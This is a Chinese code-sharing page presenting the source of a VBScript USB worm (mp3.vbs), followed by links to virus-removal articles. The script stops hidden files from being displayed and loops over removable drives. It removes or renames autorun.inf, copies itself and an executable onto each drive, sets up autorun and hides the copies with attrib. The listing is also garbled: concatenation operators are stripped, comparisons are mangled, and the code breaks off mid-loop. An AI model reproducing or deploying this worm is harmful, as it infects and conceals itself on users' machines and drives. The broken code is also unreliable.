復(fù)制代碼 代碼如下:
On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri>"A:" And dri>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path"\autorun.inf") Then
fso.MoveFolder dri.Path"\autorun.inf",dri.Path"\Rubbish"
End If
'復(fù)制自身及exe文件到移動(dòng)硬盤(pán)
If fso.FileExists(dri.Path"\mp3.vbs") And fso.FileExists(dri.Path"\autorun.inf") Then
Else
If fso.FileExists(dri.Path"\mp3.vbs") Then
fso.DeleteFile dri.Path"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path"\autorun.inf") Then
fso.DeleteFile dri.Path"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path"\SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復(fù)制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path"\mp3.vbs")
wshell.run "attrib +r +a +s +h "dri.Path"\mp3.vbs",0
Set norkon=Nothing
您可能感興趣的文章:- linux服務(wù)器被植入ddgs、qW3xT.2挖礦病毒的處理實(shí)戰(zhàn)記錄
- 通過(guò)批處理關(guān)閉135 137 445等端口的實(shí)現(xiàn)代碼(勒索病毒)
- 對(duì)一個(gè)vbs腳本病毒的病毒原理分析
- php網(wǎng)頁(yè)病毒清除類(lèi)
- VC實(shí)現(xiàn)的病毒專(zhuān)殺工具完整實(shí)例
- 利用DOS命令來(lái)對(duì)抗U盤(pán)病毒保護(hù)U盤(pán)數(shù)據(jù)
- 自制殺u盤(pán)病毒的批處理代碼
- c病毒程序原理分析(防范病毒 c語(yǔ)言小病毒示例)
- 解析:清除SQL被注入惡意病毒代碼的語(yǔ)句
- Autorun 病毒清除工具bat代碼
- VBS.Runauto腳本病毒分析篇
- 記事本U盤(pán)病毒 Notepad.exe查殺方法
- 美女游戲病毒iwbkvd.exe查殺方法
- 批處理 Autorun 病毒清除工具
- Rootkit病毒的解決辦法
